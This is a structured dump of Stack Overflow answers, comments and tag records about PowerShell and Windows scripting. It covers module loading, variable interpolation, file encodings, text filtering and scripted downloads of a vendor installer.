has text: Thanks for the answer @mklement0. I wasn't certain about the order of evaluation/execution because the module manifest documentation states for the ScriptsToProcess element `These scripts are run before any of the modules listed in the manifest are loaded.` which made me wonder if using the `#Requires` statement in `RunFirst.ps1` vs `MyModule.psm1` would make a difference (it doesn't). Throwing an exception from `RunFirst.ps1` if admin rights aren't detected via `IsInRole()` also doesn't prevent the `RequiredModules` from loading.
score: 1
comment on: http://stackoverflow.com/a/79146539
type: AnswerComment

http://stackoverflow.com/a/79192362
has body: Your issue likely stems from the %DeploymentRoot% variable not being correctly interpreted in the context of your deployment task sequence. Verify the Value of %DeploymentRoot% Use the following snippet in your PowerShell script to see if the variable resolves correctly: Write-Output "DeploymentRoot: $env:DeploymentRoot" If this does not output the expected path, %DeploymentRoot% is not being set as expected. Or replace %DeploymentRoot% with the actual full path of the deployment share in your script.
has comment: http://stackoverflow.com/comment/139644994
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79192349

stderr
type: Tag
tags question: http://stackoverflow.com/q/79219297
tag name: stderr

http://stackoverflow.com/a/79204060
has body: I was doing the tutorial for using kubernetes (one of the ones in kubernetes.io) and it tells you to use: export POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{"\n"}}{{end}}') I had to remove the "export" for it to work in windows (also had to remove the line break for some reason, but it worked after that), so the command was: $POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{end}}') It worked, and if I typed: $POD_NAME I got the correct pod name. The problem came from the next step where I had to use: curl http://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME:8080/proxy/ Here, it was unable to resolve the url, while if I just replaced $POD_NAME with the text in the variable, it worked just fine. I was wondering if there is a way to make it work (as in making the variable name be substituted by it's content when interpreting the command). Not sure if it helps, but this is the error message: curl : { "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "pods \"proxy\" not found", "reason": "NotFound", "details": { "name": "proxy", "kind": "pods" }, "code": 404 } En línea: 1 Carácter: 1 + curl http://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME:8 ... + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands. I see what's happening here. When you use $POD_NAME in the curl command, it isn't getting replaced by its value. This issue often arises from how the shell handles variable interpolation. In PowerShell, which it looks like you might be using, you need to use different syntax for variable interpolation. Here’s how you can make it work: $POD_NAME = $(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{end}}') curl "http://localhost:8001/api/v1/namespaces/default/p…
has comment: http://stackoverflow.com/comment/139681713
type: Answer
has comment: http://stackoverflow.com/comment/139666088
score: 0
has comment: http://stackoverflow.com/comment/139682863
has comment: http://stackoverflow.com/comment/139666429
answers question: http://stackoverflow.com/q/79203992

http://stackoverflow.com/comment/139588478
type: QuestionComment
type: Comment
has text: Please share the script in text format.
score: 1
comment on: http://stackoverflow.com/q/79161585

http://stackoverflow.com/comment/139529385
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0
has text: It is just for debugging. Then type $recoveryKeys to see what is returned.

http://stackoverflow.com/comment/139459109
type: Comment
has text: [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.md) - unlike the built-in _Windows PowerShell_ edition - _does_ support [postpositional `&`](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_Operators#background-operator-) for starting background jobs on Windows. While these jobs work and are managed differently than in Bash, it is easy to adapt the command line to get the desired behavior.
comment on: http://stackoverflow.com/a/79088304
score: 0
type: AnswerComment

http://stackoverflow.com/a/79161893
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139588989
score: 2
answers question: http://stackoverflow.com/q/79161849
upvote count: 2
type: Answer
has body: You can use this : mkdir labels mkdir images move *.txt labels\ move *.png images\
accepted answer of: http://stackoverflow.com/q/79161849

http://stackoverflow.com/comment/139738815
comment on: http://stackoverflow.com/a/79228637
score: 0
has text: Thank you. I'll keep this in mind. Once I have the script further developed I won't be using `Write-Host`. I'm only using it for the moment while I sort out what I'm looking for.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139472475
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79095935
has text: It is probably the PING statement. Try removing and see what happens. The ping statement is just creating a delay to keep message on screen before the cls removes the text. The flicking occurs because the screen goes blank when the cls and the code takes time to recreate the message. Increasing the time message stay on screen by increasing the w will reduce the flickering but slow down the speed the message.
score: 0

http://stackoverflow.com/comment/139616524
has text: Are you trying to find the resolution of a window running within your windows operating system?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79176779

azure-service-principal
tags question: http://stackoverflow.com/q/79213119
type: Tag
tags question: http://stackoverflow.com/q/79222783
tag name: azure-service-principal

http://stackoverflow.com/comment/139594178
type: QuestionComment
type: Comment
has text: Are you running this script on the client or the server? If you are doing this from the server-side (the machine which accepts the connection rather than the machine the user is sitting at) then I suspect the issue is that Ctrl+Alt+Home simply isn't a shortcut that's handled by the server, it's probably caught by the client before it even gets to the server.
comment on: http://stackoverflow.com/q/79164514
score: 0

shell
type: Tag
tags question: http://stackoverflow.com/q/79093235
tags question: http://stackoverflow.com/q/79087081
tag name: shell
tags question: http://stackoverflow.com/q/79193883
tags question: http://stackoverflow.com/q/79264968
tags question: http://stackoverflow.com/q/79334513
tags question: http://stackoverflow.com/q/79292221
tags question: http://stackoverflow.com/q/79359037
tags question: http://stackoverflow.com/q/79445194

http://stackoverflow.com/a/79247912
score: 0
type: AcceptedAnswer
has body: I eventually found the answer for this. I had to force install the latest, pre-release of PnpOnline: Install-Module PnP.PowerShell -AllowPrerelease -SkipPublisherCheck -Force I had only just installed the latest release version, so im assuming a recent bug was in play. on installing the prerelease version, it just started working.
answers question: http://stackoverflow.com/q/79239345
accepted answer of: http://stackoverflow.com/q/79239345
type: Answer

visual-studio-2022
tags question: http://stackoverflow.com/q/79136266
type: Tag
tag name: visual-studio-2022

http://stackoverflow.com/comment/139535259
type: Comment
comment on: http://stackoverflow.com/a/79126005
has text: HEllo ! thanks for the update, indeed it is interesting, I'll try, but today, the script run on more than 3 days, and often crash because of memory.. But i'll definitivly take this into account I keep you informed, I'm on a version of recursive function
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139500936
type: Comment
has text: Thank you for the answer and the detailed explanation! This is exactly what I needed.
score: 0
comment on: http://stackoverflow.com/a/79111903
type: AnswerComment

http://stackoverflow.com/comment/139655975
type: AnswerComment
comment on: http://stackoverflow.com/a/79159417
has text: Please don't forget to mark your reply as answer to help other guys that having the same issue.
type: Comment
score: 0

http://stackoverflow.com/comment/139426361
type: Comment
comment on: http://stackoverflow.com/a/79071601
has text: so THAT is the use for the `*String` properties!
score: 0
type: AnswerComment

http://stackoverflow.com/a/79145761
has body: Let's first analyze your existing code and why it behaves as it does: $lines = Get-Content $file -ReadCount 1000 | foreach { $_ -match $searchStrings } # count 8 When Get-Content is used with parameter -ReadCount 1000 it reads as much as 1000 lines (or less, if the file is shorter). Then it passes these lines all at once to the next command in the pipeline (without -ReadCount it would pass the lines one-by-one). So inside the foreach code block the automatic $_ variable is an array of strings, instead of a simple string variable. Why is this important? Because in PowerShell most of the operators work differently, depending on whether the operand on the left hand side (LHS) is a collection (like an array) or a scalar. In the case of a collection, instead of resolving to a boolean value, the operator acts as a filter that outputs only the elements of the collection that match (see about_Comparison_Operators - Common Features). So why does combining the -match and -NotMatch operators in the next example doesn't work as expected then? $lines = Get-Content $file -ReadCount 1000 | foreach { $_ -match $searchStrings -and $_ -NotMatch $excludeStrings} Due to operator precedence, PowerShell processes the expression inside foreach in this order: $temp1 = $_ -match $searchStrings $temp2 = $_ -NotMatch $excludeStrings $temp1 -and $temp2 As I've already explained, $temp1 and $temp2 will be arrays of lines that match or don't match. What happens when an array is used in a boolean context as in $temp1 -and $temp2? The array resolves to $false if it is empty or $true if it is non-empty. As both arrays are non-empty, you get the result of $true. Solution A - minimal changes To fix your existing code with minimal changes, just chain the -match and -notmatch operators, without using a boolean operator: $lines = Get-Content $file -ReadCount 1000 | foreach { $_ -match $searchStrings -notmatch $excludeStrings } PowerShell first resolves $_ -match $searchStrings to an array of matching el…
answers question: http://stackoverflow.com/q/79144958
has comment: http://stackoverflow.com/comment/139561812
type: AcceptedAnswer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/79144958
type: Answer
score: 4
downvote count: 0

http://stackoverflow.com/comment/139616201
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79176549
score: 0
has text: Also getting script output like "Deploying to website $(filteredWebsitesPath)" for script in template ```steps: - script: echo "Deploying to website ${{ website }}" ```

http://stackoverflow.com/comment/139738359
comment on: http://stackoverflow.com/a/79244588
score: 0
type: AnswerComment
has text: Hello, Thank you for the help, I will check on that stack class to understand your code. and do some tests.
type: Comment

http://stackoverflow.com/comment/139653118
comment on: http://stackoverflow.com/q/79196973
score: 1
has text: What are you using to view the files? Changing the *encoding* format shouldn’t change the decoded *content* of the file, so if you’re seeing different characters on screen when you open them that might be more to do with the app you’re opening the files with. Have you compared your “before” and “after” files in a hex editor?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139498049
type: QuestionComment
comment on: http://stackoverflow.com/q/79112116
has text: ok, btw you can have powershell enabled in winpe, task scheduler can run powershell directly
type: Comment
score: 0

construction
tag name: construction
type: Tag
tags question: http://stackoverflow.com/q/79244582

junit-jupiter
tags question: http://stackoverflow.com/q/79077815
type: Tag
tag name: junit-jupiter

http://stackoverflow.com/a/79084326
has body: mclayton has provided the crucial pointers in a comment: The target URL causes Invoke-WebRequest to download an HTML page, rather than the binary (executable) of interest. When opening this URL in a web browser, it is the JavaScript embedded in that HTML that triggers a download interactively. With Invoke-WebRequest / Invoke-RestMethod, all you get is the HTML source code, which won't help you. To determine the true download URL, you can initiate a download interactively in a browser and monitor the network activity, which will reveal the true download link; in a Chromium-based browser (Chrome, Brave, Microsoft Edge), you can do this as follows (works analogously in other browsers): Open your original URL, https://get.adobe.com/reader/download?os=Windows+10&amp;name=Reader+2024.003.20112+English+Windows%2864Bit%29&amp;lang=en&amp;nativeOs=Windows+10&amp;accepted=cr&amp;declined=mss&amp;preInstalled=&amp;site=landing, in your browser. If prompted to confirm the download, cancel the dialog. (In Microsoft Edge the download will occur instantly, so you'll have to clean up the downloaded files later.) Right-click anywhere in the document and select Inspect to open the web inspector. In it, select the Network tab, then click on Fetch/XHR to filter the activity being monitored. Refresh the page (Ctrl+R), and if the confirmation dialog pops up again, cancel it again. Now look for a line matching *.exe in the activity list (should be readerdc64_ha_cra_install.exe), right-click on it and select Copy &gt; Copy URL to copy the URL to the clipboard. You can now use the copied true download URL with Invoke-WebRequest, with an -OutFile file name/path of choice: Invoke-WebRequest -OutFile Reader_en_install.exe 'https://admdownload.adobe.com/rdcm/installers/live/readerdc64_ha_cra_install.exe'
answers question: http://stackoverflow.com/q/79076263
upvote count: 4
score: 4
downvote count: 0
type: Answer

http://stackoverflow.com/a/79153104
type: Answer
has body: You don't actually need the empty lines from the input CSV for processing. It is only a visual thing. The grouping is already done by putting multiple names into a single quoted field. So just process the input data while ignoring the empty lines and add them back in the output CSV. This is a simple reproducible example using ConvertFrom-Csv and ConvertTo-Csv, but you can replace them by the Export- cmdlets, the behavior should be the same. For simplicity I've ignored the fact that you have multiple departments assigned to some groups, but I hope it will be enough to get you started. $names = ConvertFrom-Csv -Header Names @' Richard Roe Mary Major "Alex Smith Betty Brown Chris Clark" "Betty Brown Donna Davis Edward Evans" Alex Smith "Richard Roe Mary Major" '@ $departments = 'Legal', 'Accounting', 'R&D', 'R&D', 'R&D', 'LEGAL' $namesWithDeps = foreach( $i in 0..$($names.Count - 1) ) { # Output empty field [PSCustomObject]@{ Names = '' } # Join department and names [PSCustomObject]@{ Names = $departments[$i] + [Environment]::NewLine + $names[$i].Names } } $namesWithDeps | ConvertTo-Csv Output: "Names" "" "Legal Richard Roe" "" "Accounting Mary Major" "" "R&D Alex Smith Betty Brown Chris Clark" "" "R&D Betty Brown Donna Davis Edward Evans" "" "R&D Alex Smith" "" "LEGAL Richard Roe Mary Major"
score: 0
answers question: http://stackoverflow.com/q/79152963

http://stackoverflow.com/comment/139590361
comment on: http://stackoverflow.com/q/79162738
score: 1
has text: Wrap each resulting string array in another`$Strings | % { ,@($_ -split $Sep) }`
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139612541
type: QuestionComment
type: Comment
score: 0
has text: Unfortunately, the app I am running does not list its arguments. I have tested */silent* and */quiet*, but they are not recognized.
comment on: http://stackoverflow.com/q/79174496

docker-compose
tag name: docker-compose
tags question: http://stackoverflow.com/q/79075233
type: Tag

http://stackoverflow.com/a/79201392
score: 2
upvote count: 2
has body: If your input file is interpreted as a UTF-8 file and contains both strings such as Z�rcher and Meriç, the implication is that your input file is corrupt: The presence of �, the Unicode REPLACEMENT CHARACTER, U+FFFD, indicates that a byte (or sequence thereof) in the input file with the high bit set (i.e. a value that is between 0x80 (128) and 0xFF (255), inclusively) did not constitute a valid UTF-8 encoding of a non-ASCII-range character and was therefore replaced with said placeholder character to indicate that fact. Converting a UTF-8 file that is interpreted as such to UTF-16(LE) involves no loss or transformation of information, so the transformation from Z�rcher to Zürcher and from Meriç to MeriÃ§ you describe cannot happen in that context. In isolation: Z�rcher is most likely the result of the mistaken interpretation as UTF-8 of a file that uses a fixed-width, single-byte encoding such as Windows-1252, which is the encoding used as the ANSI code page of the legacy system locale (language for non-Unicode programs) on US-English and Western European editions of Windows, for instance. Conversely, MeriÃ§ is most likely the result of the mistaken interpretation as Windows-1252 of a file that is actually UTF-8-encoded; each byte in the two-byte UTF-8 sequence that encodes ç (LATIN SMALL LETTER C WITH CEDILLA, U+00E7) in the input file is interpreted as a separate character. The two PowerShell editions differ fundamentally in which character encodings they use by default: Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) uses ANSI encoding by default in its Set-Content and Get-Content cmdlets (and when it reads source code). That is, Set-Content creates (by definition BOM-less) files with ANSI encoding by default, and Get-Content interprets BOM-less files as ANSI-encoded by default. PowerShell (Core) 7 (the modern, cross-platform, install-on-demand edition) consistently uses (BOM-less) UTF-8…
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79196973

gcc
type: Tag
tag name: gcc
tags question: http://stackoverflow.com/q/79236266

msbuild
tags question: http://stackoverflow.com/q/79090851
type: Tag
tag name: msbuild

http://stackoverflow.com/comment/139510345
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0
has text: I don't see where the error is occurring. I assumed the error was in the code after $lastestKey was generated and issue was with the contents of $lastestKey. Did you try $latestKey | format-list

windows-terminal
tag name: windows-terminal
type: Tag
tags question: http://stackoverflow.com/q/79220211
tags question: http://stackoverflow.com/q/79405109
tags question: http://stackoverflow.com/q/79534804
tags question: http://stackoverflow.com/q/79538232
tags question: http://stackoverflow.com/q/79467659

forms
tag name: forms
tags question: http://stackoverflow.com/q/79119400
type: Tag
tags question: http://stackoverflow.com/q/79085306
tags question: http://stackoverflow.com/q/79256387

http://stackoverflow.com/a/79175984
answers question: http://stackoverflow.com/q/79171856
type: Answer
has body: To add to Santiago's helpful answer: Fundamentally, the search scope for file names (e.g. foo.exe), file base names (e.g. foo) or file-name wildcard patterns (e.g. foo*) passed to Get-Command's (positionally implied) -Name parameter in combination with -CommandType Application is the list of directories stored in the standard $env:Path environment variable[1], in order. When passing wildcard expressions (e.g., foo*) to Get-Command's -Name parameter, it is indeed the list of extensions stored in environment variable $env:PATHEXT that is consulted, which in PowerShell includes extension .cpl (for Control Panel views), which PowerShell itself adds. While Windows comes with a default list of extensions in $env:PATHEXT, it is possible to modify it (as PowerShell itself does), so the specific list depends on your system's configuration. Unfortunately, using a wildcard expression not only differs in search behavior from using literal names - see next bullet point - it in effect ignores patterns that include an extension that is not listed in $env:PATHEXT (e.g. foo*.txt). However, in the absence of wildcard characters (*, ?, and character set/range expressions such as [abc] / [a-c]) in a -Name argument, i.e. when given a literal name to look for, the behavior is different: If such an effectively literal name is given and it ... does not include a filename extension (e.g, foo): The extensions in $env:PATHEXT are looked for (first), in order. Additionally, any extension-less files by that name are looked for too, which can cause problems when incompletely uninstalled cross-platform tools leave extension-less Unix shell scripts behind. Note that extension-less files are not searched for when using a wildcard expression. does include a filename extension (e.g., foo.txt): $env:PATHEXT is irrelevant in that case, and if such a file, irrespective of its extension, is found in the directories listed in $env:PATH, it is reported. This blurring of the lines between what is an executa…
score: 0

http://stackoverflow.com/comment/139575866
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79151093
has text: That makes sense. The documentation recommends inheriting from `Dictionary<Tkey, TValue>` with the standard remark on avoiding non-generics. This seems to overlook the lack of dynamic methods like OnValidate, OnInsert, OnSet in the generic dictionary for it to be a complete alternative. At any rate, if one *were* to require a generic effect, it's not challenging when extending `DictionaryBase` to validate a specific type on keys or values to achieve a pseudo generic effect. It wouldn't be perfectly ideal, but for the scope of a custom dictionary it may be a reasonable hack if one required it.
type: Comment

animation
type: Tag
tag name: animation
tags question: http://stackoverflow.com/q/79095935

scope
type: Tag
tags question: http://stackoverflow.com/q/79193243
tag name: scope

http://stackoverflow.com/comment/139589211
type: QuestionComment
type: Comment
score: 0
has text: If there are any better way to achieve the result, please suggest me
comment on: http://stackoverflow.com/q/79161585

http://stackoverflow.com/a/79265201
type: Answer
answers question: http://stackoverflow.com/q/79111442
has body: In SSMS you can select multiple Jobs to be "extracted" into a single script: In "Object Explorer" select "Jobs": Press "F7" to open "Object Explorer Details" (you can also open it via View->Object Explorer Details): Select all of the Jobs you want to export and right click to bring up a pop up menu. Select "Script Job As" and so on. P.S. This trick works for many things
score: 0

http://stackoverflow.com/comment/139475361
comment on: http://stackoverflow.com/q/79099308
has text: @KenWhite updated my post to reflect that I need help modifying my command to exclude folders from the existing and working delete command.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139753336
type: QuestionComment
has text: Are you still facing the issue. @GJ-Hardie
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79244293

http://stackoverflow.com/comment/139655903
type: QuestionComment
comment on: http://stackoverflow.com/q/79197561
type: Comment
score: 0
has text: Also, does the file really need to be moved out to a different folder or do you just need a list? If you only need a list you could do something like this `Get-ChildItem -File -Path $folder1, $folder2 | Group-Object BaseName | Where-Object Count -eq 1 | Select-Object -ExpandProperty Group | Where-Object Extension -eq '.json'`

http://stackoverflow.com/comment/139471571
has text: @MathiasR.Jessen i tried just to run it locally with vscode but it recognize the action part as System.String and not Script.Management.Automation.ScriptBlock
comment on: http://stackoverflow.com/q/79094796
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139485917
comment on: http://stackoverflow.com/q/79105294
type: QuestionComment
has text: Hello and thank you for your responses. I may have realized my error. The path in question is in a csv file which I am loading with import-csv, which the default encoding i believe is ASCII. I will change my import-csv to use encoding UTF-8 and see if that is the cause.
score: 2
type: Comment

http://stackoverflow.com/comment/139472397
has text: It may be error 0x10001. See https://www.thewindowsclub.com/distributedcom-error-10001-unable-to-start-a-dcom-server
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79096499

http://stackoverflow.com/comment/139478289
comment on: http://stackoverflow.com/q/79101110
has text: Just use `$xml.ProjectRuntimeInfo.SolutionPath`. Or am I missing something?
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/139707448
score: 0
type: AnswerComment
has text: I modified my code to use your approach. However, the results were looking at the PC on which I am running the code, not the remote PC.
comment on: http://stackoverflow.com/a/79227179
type: Comment

http://stackoverflow.com/comment/139461267
type: QuestionComment
comment on: http://stackoverflow.com/q/79090045
type: Comment
has text: As an aside: if you place `|` at the _end_ of your lines, you don't need line-continuations (`\`` at the very end of each line) in _Windows PowerShell_. In [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.md), you don't need line-continuations either way.
score: 1

http://stackoverflow.com/comment/139492569
type: QuestionComment
has text: `Set-Alias tree C:\cygwin64\bin\tree.exe` in your profile should do the trick
type: Comment
score: 3
comment on: http://stackoverflow.com/q/79108858

http://stackoverflow.com/comment/139458246
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79090297
score: 1
has text: Out of curiosity, what made you think adding `tolower.()` would do the trick here?

data-binding
tags question: http://stackoverflow.com/q/79098831
tag name: data-binding
type: Tag

docker
tag name: docker
type: Tag
tags question: http://stackoverflow.com/q/79109509
tags question: http://stackoverflow.com/q/79364993
tags question: http://stackoverflow.com/q/79345362
tags question: http://stackoverflow.com/q/79274677
tags question: http://stackoverflow.com/q/79375492
tags question: http://stackoverflow.com/q/79541965
tags question: http://stackoverflow.com/q/79469584

system-information
tags question: http://stackoverflow.com/q/79186087
type: Tag
tag name: system-information
tags question: http://stackoverflow.com/q/79365189

microsoft-entra-id
tags question: http://stackoverflow.com/q/79102062
tag name: microsoft-entra-id
type: Tag
tags question: http://stackoverflow.com/q/79093007
tags question: http://stackoverflow.com/q/79193052
tags question: http://stackoverflow.com/q/79347039
tags question: http://stackoverflow.com/q/79290835
tags question: http://stackoverflow.com/q/79320969
tags question: http://stackoverflow.com/q/79349429
tags question: http://stackoverflow.com/q/79466019
tags question: http://stackoverflow.com/q/79475775
tags question: http://stackoverflow.com/q/79475834
tags question: http://stackoverflow.com/q/79481706
tags question: http://stackoverflow.com/q/79532421
tags question: http://stackoverflow.com/q/79492382
tags question: http://stackoverflow.com/q/79448439
tags question: http://stackoverflow.com/q/79439368
tags question: http://stackoverflow.com/q/79530659

http://stackoverflow.com/comment/139554935
type: QuestionComment
type: Comment
has text: Thanks Mathias, after doing some research it looks like I'll want to use an invoke-webrequest instead. Apologies for the foolish question :).
comment on: http://stackoverflow.com/q/79139534
score: 0

http://stackoverflow.com/comment/139609766
type: QuestionComment
type: Comment
score: 2
comment on: http://stackoverflow.com/q/79172648
has text: All output piped from Parallel loop is already sequential, the pipeline makes it so. `CommandA | % -Parallel { do stuff } -ThrottleLimit 10 | CommandB` is perfectly valid code.

http://stackoverflow.com/comment/139717581
score: 0
type: AnswerComment
has text: Thanks for your reply. The solution you proposed in the first section of your reply doesn't seem to work for me. The computer name does not change. I also tried using Start-Process directly from the powershell script and that did not work when the script was invoked via the gpedit.msc Shutdown properties setting. I initially tried using only powershell but it didn't work. I understand it's not advised to turn off UAC but it's only off while the script changes the name and then it's back on. So not a big deal.
comment on: http://stackoverflow.com/a/79232052
type: Comment

http://stackoverflow.com/comment/139432246
type: QuestionComment
type: Comment
has text: The big space in the URL for $adobeInstallerUrl is not meant to be there and it is not there in my script on my PC.
comment on: http://stackoverflow.com/q/79076263
score: 1

http2
tags question: http://stackoverflow.com/q/79165959
tag name: http2
type: Tag

http://stackoverflow.com/comment/139520326
type: QuestionComment
type: Comment
has text: The similar question here - https://stackoverflow.com/questions/37015804/powershell-positional-parameters-and-valuefrompipeline - suggests using ```Trace-Command``` to see the binding logs with ```trace-command -name parameterbinding -expression { "aa" | yolo "bb" } -verbose -pshost```
comment on: http://stackoverflow.com/q/79124278
score: 1

http://stackoverflow.com/comment/139521163
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79122136
has text: The ; split between the tags
score: 0

file-structure
type: Tag
tag name: file-structure
tags question: http://stackoverflow.com/q/79197561

http://stackoverflow.com/comment/139743567
score: 0
comment on: http://stackoverflow.com/q/79239345
has text: apologies, $connection was a connection variable i was assigning from running Connect-PnpOnline. I was then trying to pass the connection directly to following commands, its shown in their documentation. I didnt fully remove it before posting.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139680164
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79210674
has text: this solution is not exactly what i was searching, i saw what you mean (is an idea), but i have to modify this file for each ACA and to do that in a single script, to update all of them in bulk, probably not possible, because the rest of the YAML file as to be accordingly with each one of the ACAs and just update the rules part, probably not possible to only send back the rules part, all of the file config. have to enter again, using the update command, am i right ? TY, answer accepted already
type: Comment

http://stackoverflow.com/comment/139640038
type: QuestionComment
comment on: http://stackoverflow.com/q/79189293
type: Comment
has text: [How can I show the netstat command in powershell](https://stackoverflow.com/questions/70175444/how-can-i-show-the-netstat-command-in-powershell-without-the-0-in-the-local-addr) (but I do see that you did find that already)
score: 0

http://stackoverflow.com/comment/139601390
has text: @SantiagoSquarzon same result, got fully stucked and unable to exit
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79165242
score: 0

http://stackoverflow.com/comment/139586018
type: QuestionComment
type: Comment
score: 0
has text: @SantiagoSquarzon This does seem to work, any idea why?
comment on: http://stackoverflow.com/q/79160366

http://stackoverflow.com/comment/139541203
type: QuestionComment
type: Comment
score: 0
has text: Could you confirm what response you are getting when you run the query in Graph Explorer?
comment on: http://stackoverflow.com/q/79135883

null
tag name: null
tags question: http://stackoverflow.com/q/79168108
type: Tag
tags question: http://stackoverflow.com/q/79296217

http://stackoverflow.com/a/79103571
type: Answer
answers question: http://stackoverflow.com/q/79103519
downvote count: 0
has body: It's hard to understand what output you would like to see. Nevertheless, I would suggest to write the command fully in Powershell like this: Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4800, 4801} | Out-GridView This will get the Event log in Powershell object form, which will enable you to sort as you wish in Out-GridView (ogv). The command you are using has text output and is not really suitable to pipe into ogv.
score: 3
upvote count: 3

powershell-4.0
tags question: http://stackoverflow.com/q/79091039
type: Tag
tag name: powershell-4.0
tags question: http://stackoverflow.com/q/79276698
tags question: http://stackoverflow.com/q/79458483

http://stackoverflow.com/comment/139659394
type: QuestionComment
has text: The provisional solution was to use it as you indicated: ```$txtValue = New-Object System.Windows.Forms.NumericUpDown $txtValue.Minimum = 0 $txtValue.DecimalPlaces = 2 $txtValue.Maximum = 100000000 $txtValue.Controls[0].Visible = $false ``` Unfortunately, this object still allows more than one comma or dot (which doesn’t make sense, since it’s a numeric type object), but nothing that can’t be solved by using the add events. An aside off-topic: I just found it annoying that VSCode doesn’t have a way to show all the attributes and methods of these objects.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79189079

patch
type: Tag
tags question: http://stackoverflow.com/q/79186465
tag name: patch

http://stackoverflow.com/comment/139713207
type: AnswerComment
score: 1
has text: @JR Might be worth mentioning you can read all about the internet zones and values [here](https://learn.microsoft.com/en-us/previous-versions/troubleshoot/browsers/security-privacy/ie-security-zones-registry-entries#zones)
type: Comment
comment on: http://stackoverflow.com/a/79211865

using-statement
tags question: http://stackoverflow.com/q/79102591
type: Tag
tag name: using-statement

http://stackoverflow.com/comment/139477700
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79098114
score: 0
has text: 1. Set up a [self-hosted agent](https://learn.microsoft.com/en-us/azure/devops/pipelines/agents/agents?view=azure-devops&tabs=yaml%2Cbrowser#self-hosted-agents) on your local machine and then run the pipeline using it to check whether you can see the same error. 2. Whether you can see the detailed error after enabling [verbose log](https://learn.microsoft.com/en-us/azure/devops/pipelines/troubleshooting/review-logs?view=azure-devops&tabs=windows-agent#configure-verbose-logs)? 3. Please share the completed YAML file of your Azure pipeine.

runspace
tags question: http://stackoverflow.com/q/79239933
type: Tag
tag name: runspace
tags question: http://stackoverflow.com/q/79272605
tags question: http://stackoverflow.com/q/79252830

internationalization
tags question: http://stackoverflow.com/q/79112307
type: Tag
tag name: internationalization

http://stackoverflow.com/comment/139499636
has text: Add [`-Verbose`](https://stackoverflow.com/q/41324882/1701026) parameter to your `Copy-Item` command? Please [edit](https://stackoverflow.com/posts/79113079/edit) your question to provide more details on what you expected to happen versus what actually happened. This will help readers figure out what didn’t work and how to answer your question accordingly. See also: [how to ask](https://stackoverflow.com/help/how-to-ask)
type: QuestionComment
comment on: http://stackoverflow.com/q/79113079
score: 2
type: Comment

http://stackoverflow.com/comment/139618343
has text: Winget isn't powershell, and winget isn't normally available as the system user since it's an appx.
comment on: http://stackoverflow.com/q/79177923
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/comment/139477121
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79095935
has text: @Marios: ANSI escape sequences are supported since windows 10, not all, not perfect, but for your case there are the SetCursor with `ESC[H`, disable cursor `ESC[?25l` and enable cursor `ESC[?25h`. Turning off the cursor is useful to avoid flickering when writing.
score: 1

nix
type: Tag
tags question: http://stackoverflow.com/q/79105813
tag name: nix

http://stackoverflow.com/tag/txt
tags question: http://stackoverflow.com/q/79097282
tag name: txt
type: Tag
tags question: http://stackoverflow.com/q/79290398

colors
tags question: http://stackoverflow.com/q/79169542
tag name: colors
type: Tag

http://stackoverflow.com/comment/139558781
type: QuestionComment
comment on: http://stackoverflow.com/q/79145598
has text: As a side note: The activity manager in windows seem to have limitations in the display length of the "command line" column. So it did not display the last parameter of the argumentlist. But when I read the process information with powershell, all the information was there.
type: Comment
score: 0

http://stackoverflow.com/comment/139671028
type: QuestionComment
type: Comment
has text: Are you expecting the output [like this](https://i.imgur.com/3El0qG5.png) after executing the VM extension? Both `myscript.ps1` and `parameters.json` have been [downloaded](https://i.imgur.com/YGorRev.png) to the VM from storage, and the VM extension [output](https://i.imgur.com/4LL1b1r.png) shows the result
comment on: http://stackoverflow.com/q/79206642
score: 0

parameters
type: Tag
tags question: http://stackoverflow.com/q/79099571
tag name: parameters
tags question: http://stackoverflow.com/q/79278916
tags question: http://stackoverflow.com/q/79324508

immutability
tag name: immutability
tags question: http://stackoverflow.com/q/79196182
type: Tag

http://stackoverflow.com/comment/139661227
type: QuestionComment
type: Comment
